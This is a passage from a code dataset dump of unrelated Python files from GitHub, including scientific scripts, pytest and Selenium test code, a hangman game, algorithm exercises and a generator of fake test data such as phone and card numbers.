zmod, T, BZ)\n\ndef find_target_coordinates(df: pd.DataFrame) -> pd.DataFrame:\n pred = {s:s+PRED for s in [BX, BY, BZ]}\n last = df.loc[lambda d: d[pred[BZ]] >= d[CZ]].iloc[-1]\n tx, ty, tz = last[pred.values()]\n rows = [[tx, ty, tz]] * len(df)\n tname = {s:s+TARGET for s in pred.keys()}\n target = pd.DataFrame(data=rows, columns=tname.values(), index=df.index)\n return pd.concat([df, target], axis=1)\n\n\nif __name__ == \"__main__\":\n print(\"####### STARTING STEP #######\")\n print(\"####### REGRESSION #######\")\n print(\"####### STARTING STEP #######\")\n fnames = sys.argv[1:] if len(sys.argv) > 1 else [IFILE]\n print(f\"Files: {fnames[0]} ... {fnames[-1]}\")\n for fname in fnames:\n if not \"demo-\" in fname:\n continue\n ofname = fname.replace(\"/thresh/demo\", \"/labelled/demo\")\n ofname = ofname.replace(\"-thresh\",\"-labelled\")\n if not exists(ofname) or OVERWRITE:\n print(fname)\n df = pd.read_csv(fname)\n df_ballistic = df.loc[lambda d: (d[FREEFALL] == 10) & (d[PASSED] == -10)]\n start = df_ballistic.iloc[0][TIME]\n xmod = fit_poly(df_ballistic, TIME, BX)\n ymod = fit_poly(df_ballistic, TIME, BY)\n zmod = fit_poly(df_ballistic, TIME, BZ, degree=2)\n pred = predict(df, xmod, ymod, zmod, start)\n labelled = find_target_coordinates(pred)\n labelled.to_csv(ofname, index=False)\n","repo_name":"peteris-racinskis/masters","sub_path":"trajectory_extract/regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39364236738","text":"import pytest\n\nfrom train_models import get_parser, InfoMan, get_configs\nfrom align import Alignment\nimport torch\nimport time\n\n\n@pytest.fixture(autouse=True)\ndef run_around_tests():\n time.sleep(2)\n yield\n torch.cuda.empty_cache()\n time.sleep(2)\n\n\n@pytest.mark.parametrize(\"dataset\", get_configs().keys())\ndef test_hook(dataset):\n configs = get_configs()\n args = configs[dataset]\n args = get_parser().parse_args(args=args.split())\n args.debug = True\n info = InfoMan(args)\n align = Alignment(info)\n dataloader = align.info.dataloaders[\"train\"]\n\n for i, batch_data in enumerate(dataloader):\n batch_data, batch_target = batch_data\n pred = align.info.model(batch_data.to(align.info.device))\n batch_latent = align.hook.get_latent().float()\n original_latent_to_pred = align.model.latent_to_pred(batch_latent)\n pred_cls = pred.max(dim=1)[1]\n lat_pred_cls = original_latent_to_pred.max(dim=1)[1]\n # assert (pred_cls == lat_pred_cls).all()\n if i == 10:\n break\n\n\n@pytest.mark.parametrize(\"dataset\", get_configs().keys())\ndef test_intervention(dataset):\n configs = get_configs()\n args = configs[dataset]\n args = get_parser().parse_args(args=args.split())\n args.debug = True\n info = InfoMan(args)\n info.split = \"train\"\n align = Alignment(info)\n align.build_graph()\n stats, ds = align.interchange_intervention()\n","repo_name":"phimachine/ndg","sub_path":"tests/test_intervention.py","file_name":"test_intervention.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"72921885210","text":"getal = 1011\ngetal = str(getal)\nlengte = len(getal)\n\nsom = 0\nfor i in range(lengte):\n hulp = int(getal[i])\n uitkomst = hulp*2**(lengte-1)\n print(uitkomst)\n lengte = lengte-1\n som = som + uitkomst\n\nprint(som)\n\n","repo_name":"bjornlecis/Functioneelprogrammeren_les_5","sub_path":"binair.py","file_name":"binair.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21368604708","text":"# Hangman game\n#\n\n# -----------------------------------\n# Helper code\n# You don't need to understand this helper code,\n# but you will have to know how to use the functions\n# (so be sure to read the docstrings!)\n\nimport random\n\nWORDLIST_FILENAME = \"words.txt\"\n\ndef loadWords():\n \"\"\"\n Returns a list of valid words. Words are strings of lowercase letters.\n \n Depending on the size of the word list, this function may\n take a while to finish.\n \"\"\"\n print(\"Loading word list from file...\")\n # inFile: file\n inFile = open(WORDLIST_FILENAME, 'r')\n # line: string\n line = inFile.readline()\n # wordlist: list of strings\n wordlist = line.split()\n print(\" \", len(wordlist), \"words loaded.\")\n return wordlist\n\ndef chooseWord(wordlist):\n \"\"\"\n wordlist (list): list of words (strings)\n\n Returns a word from wordlist at random\n \"\"\"\n return random.choice(wordlist)\n\n# end of helper code\n# -----------------------------------\n\n# Load the list of words into the variable wordlist\n# so that it can be accessed from anywhere in the program\nwordlist = loadWords()\n\ndef isLetterGuessed(secretWord, guess):\n '''\n secretWord: string, the word the user is guessing\n guess: letter guessed by user\n returns: boolean, True if all the letters of secretWord are in lettersGuessed;\n False otherwise\n '''\n #if guess == 0:\n # return False\n #else: pass\n\n if guess in secretWord:\n return True\n else: return False\n\n\ndef isWordGuessed(secretWord, lettersGuessed):\n '''\n secretWord: string, the word the user is guessing\n lettersGuessed: list, what letters have been guessed so far\n returns: boolean, True if all the letters of secretWord are in lettersGuessed;\n False otherwise\n '''\n if len(lettersGuessed) == 0:\n return False\n else: pass\n\n count = 0\n for i in lettersGuessed:\n if i in secretWord:\n occurence = secretWord.count(i)\n #print (i, occurence)\n count += occurence\n #count += 1\n else:\n pass\n\n if count == len(secretWord):\n return True\n else: return False\n\n\ndef getGuessedWord(secretWord, lettersGuessed):\n '''\n secretWord: string, the word the user is guessing\n lettersGuessed: list, what letters have been guessed so far\n returns: string, comprised of letters and underscores that represents\n what letters in secretWord have been guessed so far.\n '''\n if len(lettersGuessed) == 0:\n #return False\n return ('_ '*len(secretWord))\n else: pass\n\n guessedWord = ['_ ']*len(secretWord)\n\n for i in range(len(lettersGuessed)):\n for j in range(len(secretWord)):\n if lettersGuessed[i] == secretWord[j]:\n guessedWord[j] = secretWord[j]\n else:\n pass\n\n guessedWordstr = ''\n for i in range(len(guessedWord)):\n guessedWordstr += guessedWord[i]\n\n return guessedWordstr\n\n\ndef getAvailableLetters(lettersGuessed):\n '''\n lettersGuessed: list, what letters have been guessed so far\n returns: string, comprised of letters that represents what letters have not\n yet been guessed.\n '''\n alphabet = 'abcdefghijklmnopqrstuvwxyz'\n remainingletters = alphabet\n for letter in lettersGuessed:\n if letter in remainingletters:\n #print (letter)\n remainingletters = remainingletters.replace(letter, \"\")\n\n return remainingletters\n\n \n\ndef hangman(secretWord):\n '''\n secretWord: string, the secret word to guess.\n\n Starts up an interactive game of Hangman.\n\n * At the start of the game, let the user know how many \n letters the secretWord contains.\n\n * Ask the user to supply one guess (i.e. letter) per round.\n\n * The user should receive feedback immediately after each guess \n about whether their guess appears in the computers word.\n\n * After each round, you should also display to the user the \n partially guessed word so far, as well as letters that the \n user has not yet guessed.\n\n Follows the other limitations detailed in the problem write-up.\n '''\n # FILL IN YOUR CODE HERE...\n print (\"Welcome to the game, Hangman!\")\n print (\"I am thinking of a word that is\", len(secretWord), \"letters long.\")\n #print ('_ '*len(secretWord))\n\n mistakesMade = 0\n GuessesLeft = 8\n lettersGuessed = []\n\n while GuessesLeft > 0:\n print ('_ '*13)\n print (\"You have\", GuessesLeft, \"guesses left.\")\n print (\"Available letters: \", getAvailableLetters(lettersGuessed))\n guess = input('Please guess a letter: ')\n guessInLowerCase = guess.lower()\n if guess in lettersGuessed:\n print (\"Oops! You've already guessed that letter: \", getGuessedWord(secretWord, lettersGuessed))\n else:\n lettersGuessed.append(guessInLowerCase)\n if isLetterGuessed(secretWord, guessInLowerCase):\n print (\"Good guess: \", getGuessedWord(secretWord, lettersGuessed))\n\n #print (lettersGuessed)\n if isWordGuessed(secretWord, lettersGuessed):\n print ('_ '*13)\n print (\"Congratulations, you won!\")\n break\n\n else:\n print (\"Oops! That letter is not in my word: \", getGuessedWord(secretWord, lettersGuessed))\n GuessesLeft -= 1\n if GuessesLeft == 0:\n print ('_ '*13)\n print (\"Sorry, you ran out of guesses. The word was \", secretWord,\".\")\n\n\n# When you've completed your hangman function, uncomment these two lines\n# and run this file to test! (hint: you might want to pick your own\n# secretWord while you're testing)\n\n# secretWord = chooseWord(wordlist).lower()\n\nsecretWord = 'apple'\nhangman(secretWord)\n","repo_name":"ln-x/met","sub_path":"_MIT_ComputerScience/Lecture05_TupelsLists/Lecture5_problem/ps3_hangman.py","file_name":"ps3_hangman.py","file_ext":"py","file_size_in_byte":5846,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"13948842271","text":"def maxProduct(arr, n):\n minVal = arr[0]\n maxVal = arr[0]\n \n maxProduct = arr[0]\n \n for i in range(1, n, 1):\n if (arr[i] < 0):\n temp = maxVal\n maxVal = minVal\n minVal = temp\n maxVal = max(arr[i], maxVal * arr[i])\n minVal = min(arr[i], minVal * arr[i])\n maxProduct = max(maxProduct, maxVal)\n return maxProduct\n\n\narr = [-1, -3, -10, 0, 60]\nn = len(arr)\nprint(\"Maximum Subarray product is\",\n maxProduct(arr, n))\n","repo_name":"Arshadfaizan/aps-codelibrary","sub_path":"42_max_product_subarray.py","file_name":"42_max_product_subarray.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"29928160497","text":"\ndef node_type(_N, _P, n):\n all = [x for x in _N]\n if n not in all:\n return 'Not exist'\n else:\n for i in _P:\n all.append(i)\n for i in all:\n if ((i == n) and(i in _N) and(i not in _P)):\n return 'Leaf'\n if (i == n) and(_P[_N.index(i)] == -1):\n return 'Root'\n if (i == n) and(i in _P) and (i in _N) and (_P[_N.index(i)] != -1):\n return 'Inner'\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"Cp3JRpooAqfA4kGkv_11.py","file_name":"Cp3JRpooAqfA4kGkv_11.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34137095990","text":"\"\"\"\nfilter individual g.vcf based on chromosome names\n\"\"\"\nfrom cyvcf2 import VCF, Writer\nimport os\nimport argparse\n\ndef cli():\n parser = argparse.ArgumentParser()\n parser.add_argument('-i','--infile',help=\"gvcf\",type=str,required=True)\n parser.add_argument('-o','--outprefix',help='filtered gvcf',type=str,required=True)\n parser.add_argument('-c','--chrom',help='chromosome name',type=str,required=True)\n parser.add_argument('-t','--threads',help='number of threads',type=int,required=True)\n args = parser.parse_args()\n return args\n\ndef filter_gvcf_by_chrom(infile,outfile, chrom, keep=True, threads=3):\n vcf = VCF(infile,threads=threads)\n w = Writer(outfile, vcf)\n if keep == True:\n for v in vcf:\n if str(v.CHROM).startswith(chrom):\n w.write_record(v)\n else:\n for v in vcf:\n if not str(v.CHROM).startswith(chrom):\n w.write_record(v)\n\n w.close(); vcf.close()\n \ndef main():\n args = cli()\n outfile = args.outprefix+\"_filtered_by_\"+args.chrom+args.infile.rsplit(\"/\",1)[1]\n filter_gvcf_by_chrom(infile=args.infile,outfile=outfile, chrom=args.chrom, threads=args.threads)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"troe27/AIL-scan","sub_path":"mapping_and_variant_calling/founders/extract_small_scaffolds/filter_per_file_per_chrom.py","file_name":"filter_per_file_per_chrom.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16200369578","text":"\"\"\"Image analysis routines.\"\"\"\n\nimport numpy as np\nimport scipy.signal as ss\nfrom numpy.fft import fft2, ifft2\n\n__all__ = ['fft_corr', 'phase_corr']\n\ndef fft_corr(A, B, *args, **kwargs):\n return ss.fftconvolve(A, B[::-1, ::-1, ...], *args, **kwargs)\n\ndef phase_corr(A, B):\n \"\"\"Phase correlation of two images.\n\n Parameters\n ----------\n A, B : (M,N) ndarray\n Input images.\n\n Returns\n -------\n out : (M,N) ndarray\n Correlation coefficients.\n\n Examples\n --------\n\n Set up test data. One array is offset (10, 10) from the other.\n\n >>> x = np.random.random((50, 50))\n >>> y = np.zeros_like(x)\n >>> y[10:, 10:] = x[0:-10, 0:-10]\n\n Correlate the two arrays, and ensure the peak is at (10, 10).\n\n >>> out = phase_corr(y, x)\n >>> m, n = np.unravel_index(np.argmax(out), out.shape)\n >>> print m, n\n (10, 10)\n\n \"\"\"\n out = fft2(A) * fft2(B).conj()\n out /= np.abs(out)\n out = np.abs(ifft2(out))\n\n return out\n","repo_name":"stefanv/supreme","sub_path":"supreme/register/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":132,"dataset":"github-code","pt":"32"} +{"seq_id":"33923474928","text":"from operator import add\n\nclass Fibber(object):\n\n @staticmethod\n def fib(n):\n a, b = 0, 1\n for i in range(n):\n a, b = b, add(a, b)\n return b\n\nprint(Fibber.fib(10))\n","repo_name":"doboy/Underscore","sub_path":"examples/readme_example.py","file_name":"readme_example.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"21341642934","text":"# -*- coding: utf-8 -*-\nfrom model.group import Group\nimport allure\n\n\n@allure.title(\"Тест: добавление группы в справочник групп\")\ndef test_add_group(app, db, check_ui, json_groups):\n group = json_groups\n old_groups = db.get_group_list()\n app.group.create(group)\n with allure.step('Проверяем эквивалентность нового списка групп со старым с добавленной группой'):\n with allure.step('Получаем новый список групп'):\n new_groups = db.get_group_list()\n with allure.step('Добавляем новую групп к старому списку групп'):\n old_groups.append(group)\n with allure.step('Сравниваем отсортированные списки групп'):\n assert sorted(old_groups, key=Group.id_or_max) == sorted(new_groups, key=Group.id_or_max)\n if check_ui:\n with allure.step('Проверяем эквивалентность нового списка групп со списком получаемым через UI-интерфейс'):\n assert sorted(map(Group.clean, new_groups), key=Group.id_or_max) == sorted(app.group.get_group_list(),\n key=Group.id_or_max)\n","repo_name":"YYarkin/python_automation","sub_path":"test/test_add_group.py","file_name":"test_add_group.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18553369068","text":"\"\"\"\nTitle : Random Walker 구현\n\n\"\"\"\n# import Part ----------------------------------------------------------------------------------------------------------\nimport numpy as np\nfrom random import randint\nimport sys\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\n# ----------------------------------------------------------------------------------------------------------------------\n\n\nclass MainWin(QWidget):\n def __init__(self):\n super(MainWin, self).__init__(parent=None)\n self.setGeometry(100, 100, 500, 500)\n\n self.walk_history = [[int(self.width()/2), int(self.height()/2)]] # (x, y)\n\n timer = QTimer(self)\n timer.setInterval(30)\n timer.timeout.connect(self.walk)\n timer.start()\n\n def paintEvent(self, QPaintEvent):\n qp = QPainter(self)\n qp.save()\n\n qp.setPen(Qt.NoPen)\n qp.setBrush(QBrush(Qt.blue))\n for (x, y) in self.walk_history:\n qp.drawEllipse(x, y, 5, 5)\n\n qp.restore()\n\n def walk(self):\n self.update()\n old_x = self.walk_history[-1][0]\n old_y = self.walk_history[-1][1]\n\n direct = randint(1, 4)\n if direct == 1:\n old_x += 1\n elif direct == 2:\n old_x -= 1\n elif direct == 3:\n old_y += 1\n elif direct == 4:\n old_y -= 1\n\n self.walk_history.append([old_x, old_y])\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n w = MainWin()\n w.show()\n sys.exit(app.exec_())\n","repo_name":"LeeDaeil/NaturalCode","sub_path":"Ch_0_RandomWalker.py","file_name":"Ch_0_RandomWalker.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40861571344","text":"from argparse import ArgumentParser, Namespace\nfrom json import dump\nfrom os import mkdir\nfrom pathlib import Path\nfrom pprint import pprint as print\nfrom typing import List\n\nimport pandas\nfrom pandas import DataFrame, Series\nfrom pandas.io.parsers.readers import TextFileReader\nfrom progress.bar import Bar\nfrom progress.spinner import Spinner\n\n\ndef splitCSV(tfr: TextFileReader, outputDir: Path) -> None:\n try:\n mkdir(path=outputDir)\n except FileExistsError:\n pass\n\n counter: int = 0\n\n with Spinner(f\"Splitting CSV into chunks stored in ./{outputDir}... \") as spinner:\n df: DataFrame\n for df in tfr:\n path: Path = Path(outputDir, str(counter) + \".csv\")\n df.to_csv(path_or_buf=path, index=False)\n counter += 1\n\n spinner.next()\n\n\ndef extractRelevantInformation(df: DataFrame) -> DataFrame:\n df.drop(\n [\"repository\", \"match\", \"from_or_import\", \"method\", \"file\"],\n axis=1,\n inplace=True,\n )\n return df\n\n\ndef readModelList(filePath: str) -> List[str]:\n with open(file=filePath) as file:\n lines: List[str] = file.readlines()\n file.close()\n\n lines: List[str] = [line.strip().replace('\"', \"\") for line in lines]\n return lines\n\n\ndef countContainedModels(\n df: DataFrame,\n modelList: List[str],\n message: str,\n maxBarLen: int,\n) -> dict[str, int]:\n data: dict[str, int] = {}\n\n with Bar(message, max=maxBarLen) as bar:\n model: str\n for model in modelList:\n validRows: DataFrame = df[df[\"param_hardcoded\"].str.contains(model) == True]\n\n if validRows.empty:\n bar.next()\n continue\n\n relevantColumn: Series = validRows[\"param_hardcoded\"]\n exactData: Series = relevantColumn == model\n exactData: Series = exactData[exactData]\n\n if exactData.empty:\n bar.next()\n continue\n\n data[model] = len(exactData)\n bar.next()\n\n return data\n\n\ndef getArgs() -> Namespace:\n parser: ArgumentParser = ArgumentParser()\n parser.add_argument(\n \"-i\",\n \"--input\",\n required=True,\n help=\"A CSV file to read\",\n )\n parser.add_argument(\n \"-o\",\n \"--output\",\n required=True,\n help=\"A JSON file to dump data\",\n )\n return parser.parse_args()\n\n\ndef main() -> None:\n args: Namespace = getArgs()\n\n modelListFile: str = \"ptmTorrentV1FileList.txt\"\n\n modelList: List[str] = readModelList(filePath=modelListFile)\n modelListLength: int = len(modelList)\n\n # largeCSV: str = \"githubRepositoriesThatUseTransformersLibrary.csv\"\n # tfr: TextFileReader = pandas.read_csv(filepath_or_buffer=largeCSV, chunksize=1000)\n # largeCSVSplitOutputDir: Path = Path(\"csvStorage\")\n # splitCSV(tfr=tfr, outputDir=largeCSVSplitOutputDir)\n\n # df: DataFrame\n # for df in tfr:\n df: DataFrame = pandas.read_csv(filepath_or_buffer=args.input)\n df: DataFrame = extractRelevantInformation(df=df)\n\n print(df[\"param_hardcoded\"].to_list())\n quit()\n\n df[\"param_hardcoded\"] = df[\"param_hardcoded\"].str.replace(\n r\"[^a-zA-Z0-9-/]\",\n \"\",\n regex=True,\n )\n\n data: dict[str, int] = countContainedModels(\n df,\n modelList,\n message=f\"Counting models used in {args.input} ...\",\n maxBarLen=modelListLength,\n )\n\n with open(args.output, \"w\") as output:\n dump(obj=data, fp=output, indent=4)\n output.close()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"NicholasSynovic/msrchallenge-2023","sub_path":"msrchallenge_2023/handleCSV.py","file_name":"handleCSV.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2547670012","text":"import random\nfrom datetime import date, timedelta\nfrom common.Log import Log\nimport string\nlog=Log()\n# 随机生成手机号\ndef createPhone():\n prelist = '1471123'\n phone=prelist + \"\".join(random.choice(\"0123456789\") for i in range(4))\n log.info(\"本次生成的手机号为%s\"%phone)\n return phone\n\n# 随机生成身份证号\n'''\n排列顺序从左至右依次为:六位数字地址码,八位数字出生日期码,三位数字顺序码和一位校验码:\n1、地址码 \n表示编码对象常住户口所在县(市、旗、区)的行政区域划分代码,按GB/T2260的规定执行。\n2、出生日期码 \n表示编码对象出生的年、月、日,按GB/T7408的规定执行,年、月、日代码之间不用分隔符。 \n3、顺序码 \n表示在同一地址码所标识的区域范围内,对同年、同月、同日出生的人编定的顺序号,顺序码的奇数分配给男性,偶数分配给女性。 \n4、校验码计算步骤\n(1)十七位数字本体码加权求和公式 \nS = Sum(Ai * Wi), i = 0, ... , 16 ,先对前17位数字的权求和 \nAi:表示第i位置上的身份证号码数字值(0~9) \nWi:7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2 (表示第i位置上的加权因子)\n(2)计算模 \nY = mod(S, 11)\n(3)根据模,查找得到对应的校验码 \nY: 0 1 2 3 4 5 6 7 8 9 10 \n校验码: 1 0 X 9 8 7 6 5 4 3 2\n'''\ndef createidcard():\n # 地区\n district=random.choice(['110100','110101','110102','110103','110108','110109', '110111','110112',\n '110113','110114','110115','110116','110117','110200','110228','110229',\n '120000','120100'])\n\n # 年份\n # year=str(random.randint(1948, 2019))\n # 生成18岁以上的\n year = str(random.randint(1948, 2010))\n # 月日\n da=(date.today() + timedelta(days=random.randint(1, 366))).strftime('%m%d')\n # 顺序号\n num=str(random.randint(100, 300))\n preid=district+year+da+num\n\n # 计算校验码\n i = 0\n count = 0\n weight = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] # 权重项\n checkcode = {'0': '1', '1': '0', '2': 'X', '3': '9', '4': '8', '5': '7', '6': '6', '7': '5', '8': '4', '9': '3',\n '10': '2'} # 校验码映射\n for i in range(len(preid)):\n count += int(preid[i]) * weight[i]\n id = preid + checkcode[str(count % 11)] # 算出校验码\n log.info(\"本次生成的身份证号为%s\"%id)\n return id\n# 随机生成银行卡号\n\"\"\"\n* 银行卡号一般是16位或者19位。\n * 由如下三部分构成。\n * 1,前六位是:发行者标识代码\n * 2,中间的位数是:个人账号标识(从卡号第七位开始),一般由6-12位数字组成。最多可以使用12位数字。\n * 3,最后一位是:根据卡号前面的数字,采用Luhn算法计算出的最后一位校验位\n\"\"\"\ndef createbankid(start_with='622609', total_num=16):\n \"\"\"\n\n :param start_with: 6位,发卡行标示码\n 622580,622588 ,622609 招商银行\n 622617,622617,622619 民生银行\n 622700 建设银行\n 601382 中国银行\n\n :param total_num: 卡位数\n :return:\n \"\"\"\n cardnum = start_with\n\n # 随机生成前N-1位\n while len(cardnum) < total_num - 1:\n cardnum += str(random.randint(0, 9))\n\n # 计算前N-1位的校验和\n s = 0\n card_num_length = len(cardnum)\n for _ in range(2, card_num_length + 2):\n t = int(cardnum[card_num_length - _ + 1])\n if _ % 2 == 0:\n t *= 2\n s += t if t < 10 else t % 10 + t // 10\n else:\n s += t\n\n # 最后一位当做是校验位,用来补齐到能够整除10\n t = 10 - s % 10\n cardnum += str(0 if t == 10 else t)\n log.info(\"本次生成的银行卡号为%s\"%cardnum)\n return cardnum\n# 随机生成姓名 字母与数字组合\ndef name():\n last_name='yuan'\n name=last_name+''.join(random.sample(string.digits,6))\n log.info(\"本次生成的姓名为%s\"%name)\n return name\n# 随机生成真实姓名\ndef realname():\n last_name=['赵', '钱', '孙', '李', '周', '吴', '郑', '王', '冯', '陈', '褚', '卫', '蒋', '沈', '韩', '杨', '朱', '秦', '尤', '许',\n '姚', '邵', '堪', '汪', '祁', '毛', '禹', '狄', '米', '贝', '明', '臧', '计', '伏', '成', '戴', '谈', '宋', '茅', '庞',\n '熊', '纪', '舒', '屈', '项', '祝', '董', '梁']\n\n first_names = ['的', '一', '是', '了', '我', '不','牛', '人', '在', '他', '有', '这', '个', '上', '们', '来', '到', '时', '大', '地', '为',\n '子', '中', '你', '说', '生', '国', '年', '着', '就', '那', '和', '要', '她', '出', '也', '得', '里', '后', '自', '以',\n '干', '坤', '']\n\n name=random.choice(last_name)+random.choice(first_names)+random.choice(first_names)\n return name\n\n# 校验银行卡号是否正确的算法\ndef luhn(card_num):\n s = 0\n card_num_length = len(card_num)\n for _ in range(1, card_num_length + 1):\n t = int(card_num[card_num_length - _])\n if _ % 2 == 0:\n t *= 2\n s += t if t < 10 else t % 10 + t // 10\n else:\n s += t\n return s % 10 == 0\n# 随机生成邮箱\ndef mail():\n suffix=['@126.com','@139.com','@qq.com','@sina.com']\n mail = \"\".join(random.sample(string.ascii_letters + string.digits, 10))+random.choice(suffix)\n log.info(\"本次生成的邮箱为%s\" % mail)\n return mail\n\n# if __name__ == '__main__':\n# createidcard()","repo_name":"cqxsRay/zhaoguaopaimi","sub_path":"common/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":5544,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74828492570","text":"from selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nimport allure\n\n\nclass AdminPage:\n def __init__(self, driver):\n self.driver, self.url = driver\n self.profile_dropdown_selector = \"li[class='dropdown'] a[class='dropdown-toggle']\"\n self.profile_btn_xpath = \"//a[normalize-space()='Your Profile']\"\n self.menu_dashboard_selector = \"li[id='menu-dashboard'] a\"\n self.header_logo_ID = 'header-logo'\n self.vmap_selector = \"div#vmap\"\n self.wait = WebDriverWait(self.driver, 5, poll_frequency=1)\n self.driver.get(self.url + \"/admin\")\n self.wait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, \".panel-heading\")))\n self.driver.find_element(By.ID, \"input-username\").send_keys(\"user\")\n self.driver.find_element(By.ID, \"input-password\").send_keys(\"bitnami\")\n self.driver.find_element(By.CSS_SELECTOR, \"button[type='submit']\").click()\n self.wait.until(EC.visibility_of_element_located((By.ID, \"column-left\")))\n\n @allure.step(\"Переход к страничке продуктов\")\n def goto_product_page(self):\n self.driver.find_element(By.CSS_SELECTOR, \".parent.collapsed[href='#collapse1']\").click()\n self.wait.until(EC.visibility_of_element_located((By.XPATH, \"//a[normalize-space()='Products']\")))\n self.driver.find_element(By.XPATH, \"//a[normalize-space()='Products']\").click()\n return self.driver\n\n @allure.step(\"Добавление тестового материала test name с заполнением обязательных полей\")\n def add_test_product(self):\n self.driver = self.goto_product_page()\n self.wait.until(EC.visibility_of_element_located((By.XPATH, \"//i[@class='fa fa-plus']\")))\n self.driver.find_element(By.XPATH, \"//i[@class='fa fa-plus']\").click()\n self.wait.until(EC.visibility_of_element_located((By.ID, \"input-name1\")))\n self.driver.find_element(By.ID, \"input-name1\").send_keys(\"test name\")\n self.driver.find_element(By.CSS_SELECTOR, \"div[role='textbox']\").send_keys(\"test description\")\n self.driver.find_element(By.ID, \"input-meta-title1\").send_keys(\"test meta title1\")\n self.driver.find_element(By.XPATH, \"//a[normalize-space()='Data']\").click()\n self.driver.find_element(By.ID, \"input-model\").send_keys(\"1\")\n self.driver.find_element(By.XPATH, \"//button[@type='submit']\").click()\n self.wait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, \".alert.alert-success.alert-dismissible\")))\n self.driver.find_element(By.XPATH, \"//td[contains(text(), 'test name')]\")\n\n @allure.step(\"Удаление тестового материала test name\")\n def remove_test_product(self):\n check_box_xpath = \"//td[contains(text(), 'test name')]/parent::tr/td[@class='text-center']/input\"\n self.driver = self.goto_product_page()\n self.wait.until(EC.visibility_of_element_located((By.XPATH, \"//td[contains(text(), 'test name')]\")))\n self.driver.find_element(By.XPATH, check_box_xpath).click()\n self.driver.find_element(By.XPATH, \"//i[@class='fa fa-trash-o']\").click()\n alert = self.wait.until(EC.alert_is_present())\n alert.accept()\n self.wait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, \".alert.alert-success.alert-dismissible\")))\n\n @allure.step(\"Проверка наличия продукта {product} в списке активных продуктов\")\n def check_test_product(self, product):\n self.driver = self.goto_product_page()\n self.wait.until(EC.visibility_of_element_located((By.XPATH, f\"//td[contains(text(), '{product}')]\")))\n\n @allure.step(\"Проверка соответствия текущего имени пользователя и {user}\")\n def check_current_user(self, user):\n self.driver.find_element(By.CSS_SELECTOR, self.profile_dropdown_selector).click()\n self.driver.find_element(By.XPATH, self.profile_btn_xpath).click()\n check_username_selector = f\"input#input-username[value = {user}]\"\n self.driver.find_element(By.CSS_SELECTOR, check_username_selector)\n\n @allure.step(\"Проверка наличия основного меню\")\n def check_menu_dashboard(self):\n menu_dashboard = self.driver.find_element(By.CSS_SELECTOR, self.menu_dashboard_selector)\n return menu_dashboard\n\n @allure.step(\"Проверка наличия виртуальной карты\")\n def check_vmap(self):\n vmap = self.driver.find_element(By.CSS_SELECTOR, self.vmap_selector)\n return vmap\n\n @allure.step(\"Проверка наличия основного лого\")\n def check_header_logo(self):\n header_logo = self.driver.find_element(By.ID, self.header_logo_ID)\n return header_logo\n","repo_name":"Kentetsu/OtusFinalLast","sub_path":"pageobject/AdminPage.py","file_name":"AdminPage.py","file_ext":"py","file_size_in_byte":4952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35802079565","text":"import logging\n\nimport botocore\nimport pytest\n\nimport awswrangler as wr\nimport awswrangler.pandas as pd\n\nfrom .._utils import pandas_equals\n\nlogging.getLogger(\"awswrangler\").setLevel(logging.DEBUG)\n\npytestmark = pytest.mark.distributed\n\n\n@pytest.fixture()\ndef df(path: str, glue_database: str, glue_table: str) -> pd.DataFrame:\n df = pd.DataFrame({\"c0\": [0, 1, 2], \"c1\": [0, 1, 2], \"c2\": [0, 0, 1]})\n wr.s3.to_parquet(df, path, dataset=True, database=glue_database, table=glue_table)\n return df\n\n\ndef test_ruleset_df(df, path, glue_database, glue_table, glue_ruleset, glue_data_quality_role):\n df_rules = pd.DataFrame(\n {\n \"rule_type\": [\"RowCount\", \"IsComplete\", \"Uniqueness\", \"ColumnValues\"],\n \"parameter\": [None, '\"c0\"', '\"c0\"', '\"c1\"'],\n \"expression\": [\"between 1 and 6\", None, \"> 0.95\", \"in [0, 1, 2]\"],\n }\n )\n 